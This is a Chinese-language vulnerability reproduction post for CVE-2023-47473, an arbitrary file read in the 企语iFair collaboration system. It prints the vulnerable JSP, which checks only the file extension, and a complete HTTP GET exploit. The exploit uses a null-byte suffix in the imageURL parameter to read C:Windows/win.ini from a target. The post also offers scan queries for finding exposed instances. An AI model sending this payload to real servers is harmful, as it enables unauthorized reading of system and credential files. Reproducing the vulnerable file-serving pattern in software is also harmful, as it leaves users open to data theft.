[漏洞复现] CVE-2023-47473 企语iFair协同管理系统 任意文件读取

开发语言：Java官网地址：http://www.fuwushe.org/

回复“CVE-2023-47473”获取空间测绘语句

企语iFair ≤ v 23.8_ad0

<%    String imageURL = request.getParameter("imageURL");    System.out.println(imageURL);    if (!ValidateUtil.isNull(imageURL)) {        try {            String fileName = StringUtil.getFileName(imageURL);            String fileType = StringUtil.getFileType(fileName, "unkown");            if ("gif".equals(fileType) || "png".equals(fileType) || "bmp".equals(fileType) || "jpg".equals(fileType) || "jpeg".equals(fileType)) {

            } else {                return;            }            response.setCharacterEncoding("UTF-8");            response.resetBuffer();            response.setContentType("image/jpeg");            File uploadedFile = new File(imageURL);            DataInputStream is = new DataInputStream(new FileInputStream(uploadedFile));            DataOutputStream os = new DataOutputStream(response.getOutputStream());            byte[] readBytes = new byte[128];            int buffflag = -1;            while ((buffflag = is.read(readBytes)) > -1) {                os.write(readBytes, 0, buffflag);            }            os.close();            is.close();            os = null;            response.flushBuffer();            out.clear();            out = pageContext.pushBody();        } catch (UnsupportedEncodingException e) {            e.printStackTrace();        } catch (FileNotFoundException e) {            e.printStackTrace();        } catch (IOException e) {        }    }%>

GET /oa/common/components/upload/getuploadimage.jsp?imageURL=C:Windowswin.ini%001.png HTTP/1.1Host: 192.168.182.138:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5758.195 Safari/537.36 OPR/100.0.2916.45Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=11324C3BF3D3A2D6EDD273C373AF7A65Connection: close

https://nvd.nist.gov/vuln/detail/CVE-2023-47473https://github.com/THMOAS0/SSR123/blob/main/%E4%BC%81%E8%AF%ADiFair%20Any%20file%20read.pdf